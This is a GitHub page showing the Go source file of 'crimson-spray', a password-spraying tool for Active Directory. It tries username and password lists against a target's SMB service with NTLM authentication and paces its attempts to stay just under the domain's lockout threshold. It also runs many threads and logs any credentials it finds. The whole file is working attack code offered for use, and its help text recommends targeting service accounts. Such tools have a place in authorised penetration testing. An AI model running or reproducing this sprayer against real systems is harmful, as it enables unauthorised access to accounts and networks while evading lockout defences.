-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.go
342 lines (309 loc) · 12.1 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
package main
import (
"bufio"
"fmt"
"io"
"log"
"net"
"os"
"os/signal"
"strings"
"sync"
"time"
"github.com/akamensky/argparse"
"github.com/hirochachacha/go-smb2"
)
func main() {
parser := argparse.NewParser("crimson-spray", "(v.0.2.0) A lockout aware password sprayer for Active Directory. Please enter the raw net accounts /domain variables for best results. It is also advisable to use this against service accounts.")
var userFilePathArg = parser.String("u", "username-file", &argparse.Options{Required: true, Help: "(Required) File of users separated by newlines"})
var passFilePathArg = parser.String("p", "password-file", &argparse.Options{Required: true, Help: "(Required) File of passwords seperated by newlines. A good wordlist generator can be found at https://weakpass.com/generate"})
var domainArg = parser.String("d", "domain", &argparse.Options{Required: true, Help: "(Required) Domain of user "})
var targetArg = parser.String("t", "target", &argparse.Options{Required: true, Help: "(Required) IP or Hostname of target to authenticate against"})
var lockThresh = parser.Int("a", "Lockout-Attempt-Threshold", &argparse.Options{Required: true, Help: "(Required) Number of passwords attempts before lockout. Attempts will not exceed this amount - 1."})
var lockThreshTime = parser.Int("l", "Lockout-Attempt-Threshold-Timer", &argparse.Options{Required: true, Help: "(Required) Duration of time in minutes for the threshold timer to elapse. An addition minute is added"})
var lockTime = parser.Int("r", "Lockout-Timer", &argparse.Options{Required: true, Help: "(Required) Duration of time in minutes for an locked out account to become unlocked. If account lockout is detected, program will wait this time + 1 minute.\n"})
var bypassWait = parser.Flag("", "bypass-wait", &argparse.Options{Help: "Bypass initial lock threshold reset period"})
var noHeaderArg = parser.Flag("", "no-stats", &argparse.Options{Default: false, Help: "Suppress stats banner"})
var verboseArg = parser.Int("v", "verbose", &argparse.Options{Default: 2, Help: "0 - Reserved | 1 - Success Messages | 2 - Lockout , Pause , and Success Messages | 3 - Attempts, Pause, Lockout and Success Messages | 4 - Debug Messages"})
var logOutputFileArg = parser.String("o", "logfile", &argparse.Options{Default: "", Help: "If defined, output log to file"})
var noConsole = parser.Flag("", "no-console", &argparse.Options{Help: "No console output"})
var maxThreadsArg = parser.Int("T","max-threads",&argparse.Options{Help: "Max number threads to user. 1 per user. Default is the user list length. 0 is unlimited",Default: 0})
err := parser.Parse(os.Args)
var logfile *os.File
var multiwriter io.Writer
var consoleOut *os.File
if *noConsole {
consoleOut = nil
} else {
consoleOut = os.Stdout
}
//Define if output should be to logfile, stout or both
if *logOutputFileArg != "" {
logfile, err := os.OpenFile(*logOutputFileArg, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
log.Fatalf("error opening/creating logfile: %v", err)
}
defer logfile.Close()
if consoleOut != nil {
multiwriter = io.MultiWriter(logfile, consoleOut)
} else {
multiwriter = io.MultiWriter(logfile)
}
log.SetOutput(multiwriter)
} else {
log.SetOutput(consoleOut)
}
// Catch signal cancel and run cleanup scripts
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt)
go func() {
for sig := range c {
os.Exit(cleanUpScript(sig, logfile))
}
}()
// Print Usage and exit
if err != nil {
fmt.Println(parser.Usage(err))
os.Exit(1)
}
//Check for no verbose or no stats page
if !*noHeaderArg && !*noConsole {
preRunStats(*userFilePathArg, *passFilePathArg, *domainArg, *targetArg, *lockThresh, *lockThreshTime, *lockTime, *verboseArg,*maxThreadsArg)
}
if *bypassWait != true {
log.Printf("Waiting inital lockout reset threshold... %d mins (You can bypass this with --bypass-wait)", *lockThreshTime)
time.Sleep(time.Duration(*lockThreshTime) * time.Minute)
}
log.Printf("Starting Spray.....\n")
multiSpray(*userFilePathArg, *passFilePathArg, *domainArg, *targetArg, *lockThresh, *lockThreshTime, *lockTime, *verboseArg,*maxThreadsArg)
}
func preRunStats(usernamePath string, passwordPath string, domain string, targetIP string, lockoutThreshold int, lockoutThresholdTimer int, lockoutTimer int, verbose int,maxThreads int) {
/*
Max time is going to be bananas if we include single threads.
Single user guess:
(Number of users / threads) * ((PasswordListLength / LockoutAttemptThreshold) * LockoutThresholdTimer )
(100 users / 4 threads) * ((200 passwords / 9 Password Attempts before AttemptThreshold) * 15 min before lockout threshold is reset)
PasswordListLen / AttemptsBeforeLockout = roundsOfAttemptsForSingleUser
100 / 5 = 20 rounds of lockouts
LockoutThresholdTimer * Number of Lockouts = numberOfMin (Number of mins for a single thread to complete entirepassword list if no lockouts and no sucesses occur.)
15 mins * 20 rounds = 300mins
*/
userListLen := len(readFile(usernamePath))
if maxThreads == 0 || maxThreads > userListLen {
maxThreads = userListLen
}
numberOfThreads := userListLen / maxThreads
passwordListLen := len(readFile(passwordPath))
numberOfAttemptsPerRound := passwordListLen / (lockoutThreshold - 1)
estimatedMaxTimePerThread := numberOfAttemptsPerRound * (lockoutThresholdTimer + 1)
estimatedMaxTimeTotal := numberOfThreads * estimatedMaxTimePerThread
timeLongForm := time.Duration(estimatedMaxTimeTotal) * time.Minute
var verboseDetail string
switch verbose {
case 1:
verboseDetail = "1 - Success Messages Only"
case 2:
verboseDetail = "2 - Pauses, Lockout and Success Messages"
case 3:
verboseDetail = "3 - Attempts, Pause, Lockout and Success Messages"
case 4:
verboseDetail = "4 - Debug Messages"
}
fmt.Println()
fmt.Println("crimson-spray v0.2.0")
fmt.Printf("Imported Users: %d\n", userListLen)
fmt.Printf("Imported Passwords: %d\n", passwordListLen)
fmt.Println()
fmt.Printf("Target Domain: %s\n", domain)
fmt.Printf("Target Host: %s\n", targetIP)
fmt.Println()
fmt.Printf("Lockout Attempt Threshold: %d \n", lockoutThreshold)
fmt.Printf("Lockout Threshold Reset: %s \n", time.Duration(lockoutThresholdTimer)*time.Minute)
fmt.Printf("Lockout Timer: %s \n\n", time.Duration(lockoutTimer)*time.Minute)
fmt.Printf("Max number of Threads: %d \n", maxThreads)
fmt.Printf("Estimated Max Completion Time (if no lockouts or sucesses occurs): %s\n", timeLongForm)
fmt.Println()
fmt.Printf("Verbose Level: %s\n\n", verboseDetail)
/*
UserList will not matter if all accounts are tested at once.
PasswordListLen / lockoutThreshold = roundsOfAttempts
lockoutThresholdTimer * roundOfAttempt = Estimated max time if no lockouts occur
*/
}
func singleUserSpray(usernamePath string, passwordPath string, domain string, targetIP string, lockoutThreshold int, lockoutThresholdTimer int64, verbose int) {
userList := readFile(usernamePath)
passwordList := readFile(passwordPath)
resetTimerDuration := lockoutThresholdTimer + 1
attemptThreshold := lockoutThreshold - 1
currentPasswordIndex := 0
for _, users := range userList {
trimUser := strings.TrimSpace(users)
for currentPasswordIndex < len(passwordList) {
result := 4
for i := 0; i < attemptThreshold; i++ {
passwordToAttempt := passwordList[currentPasswordIndex+i]
trimPasswordToAttempt := strings.TrimSpace(passwordToAttempt)
result = testCred(trimUser, trimPasswordToAttempt, domain, targetIP, verbose, currentPasswordIndex)
if result == 0 {
break
} else if result == 2 {
log.Printf("User account %s is locked out.\n", users)
break //will reattempt password before incrementing the loop.
}
currentPasswordIndex++
}
if result == 0 {
break
}
log.Printf("Sleeping for %d mins\n", resetTimerDuration)
time.Sleep(time.Duration(resetTimerDuration) * time.Minute)
}
}
}
func multiSpray(usernamePath string, passwordPath string, domain string, targetIP string, lockoutThreshold int, lockoutThresholdTimer int, lockoutTimer int, verbose int,maxThreads int) {
userList := readFile(usernamePath)
passwordList := readFile(passwordPath)
if maxThreads == 0 || maxThreads > len(userList) {
maxThreads = len(userList)
}
guard := make(chan struct{},maxThreads) // Max Thread Struct
var wg sync.WaitGroup
for x := range userList {
guard <- struct{}{} //Will wait until there is a free position to add another thread to guard
wg.Add(1)
userUser := userList[x]
//UserSpray(y, passwordPath, domain, targetIP, lockoutThreshold, lockoutThresholdTimer, lockoutTimer)
go func() {
defer wg.Done()
UserSpray(userUser, passwordList, domain, targetIP, lockoutThreshold, lockoutThresholdTimer, lockoutTimer, verbose)
<-guard
}()
}
wg.Wait()
log.Println("Crimson Spray Completed")
}
func UserSpray(
username string,
passwordSlice []string,
domain string, targetIP string,
lockoutThreshold int,
lockoutThresholdTimer int,
lockoutTimer int,
verbose int) string {
resetTimerDuration := lockoutThresholdTimer + 1
attemptThreshold := lockoutThreshold - 2
currentPasswordIndex := 0
passwordListLen := len(passwordSlice) - 1
for currentPasswordIndex < passwordListLen {
result := 4 //
for i := 0; i <= attemptThreshold; i++ {
passwordToAttempt := passwordSlice[currentPasswordIndex]
result = testCred(username, passwordToAttempt, domain, targetIP, verbose, currentPasswordIndex)
if result == 0 {
break
} else if result == 2 {
if verbose >= 2 {
log.Printf("User account %s is locked out. Lockout out ends in %d mintues\n", username, lockoutTimer+1)
}
time.Sleep(time.Duration(lockoutTimer+1) * time.Minute)
}
currentPasswordIndex++
if currentPasswordIndex == passwordListLen {
break
}
}
if result == 0 {
break
}
if verbose >= 2 {
log.Printf("Threshold for %s resets in %d mins\n", username, resetTimerDuration)
}
time.Sleep(time.Duration(resetTimerDuration) * time.Minute)
}
return fmt.Sprintf("Done user %s", username)
}
func testCred(name string, passwordGuess string, domainDst string, ip string, verbose int, currentAttempt int) int {
/* Return Values
0 - Log in successful
1 - Log in failed
2 - Specified account is locked out
3 - Reserved
4 - Default first loop. This should never be returned
*/
dstServer := fmt.Sprintf("%s:445", ip)
if verbose >= 4 {
log.Printf("(%s Thread %d) Attempting to connect to %s", name, currentAttempt,dstServer,)
}
conn, err := net.Dial("tcp", dstServer)
if err != nil {
panic(err)
}
defer conn.Close()
if verbose >= 4 {
log.Printf("(%s Thread %d) Connected to %s", name, currentAttempt,dstServer,)
log.Printf("(%s Thread %d) Attempting authentication with %s\\%s:%s @ %s",name,currentAttempt, domainDst, name, passwordGuess, dstServer)
}
d := &smb2.Dialer{
Initiator: &smb2.NTLMInitiator{
User: name,
Password: passwordGuess,
Domain: domainDst,
},
}
_, err = d.Dial(conn)
if err != nil {
if verbose >= 4 {
log.Printf("(%s Thread %d),%s",name,currentAttempt,err.Error())
}
if strings.Contains(err.Error(), "automatically locked because too many invalid logon attempts") {
return 2
} else {
if verbose >= 3 {
log.Printf("(%s Thread %d) Failed %s\\%s:%s\n",name,currentAttempt, domainDst, name, passwordGuess)
}
return 1
}
} else {
if verbose >= 1 {
log.Printf("(%s Thread %d) !!!Found Creds ( %s\\%s:%s )!!!\n",name,currentAttempt, domainDst, name, passwordGuess)
}
return 0
}
}
func sannityCheckIP(ip string) bool {
log.Printf("Testing connection to %s\n", ip)
dstServer := fmt.Sprintf("%s:445", ip)
_, err := net.Dial("tcp", dstServer)
if err != nil {
return false
} else {
return true
}
}
func readFile(filepath string) []string {
fileBytes, err := os.Open(filepath)
if err != nil {
log.Fatalf("Failed to open %s", filepath)
}
scanner := bufio.NewScanner(fileBytes)
scanner.Split(bufio.ScanLines)
var entries []string
for scanner.Scan() {
entries = append(entries, scanner.Text())
}
return entries
}
func cleanUpScript(signal2 os.Signal, logfile *os.File) int {
log.Printf("%s was called\n", signal2)
log.Println("Cleanup script ran")
logfile.Close()
return 1
}
/*
Verbose levels:
0 - No output
1 - Success Only
2 - Lockout Time, Pause Time, Success
3 - All attempts and Timers and Success
4 - Debug
*/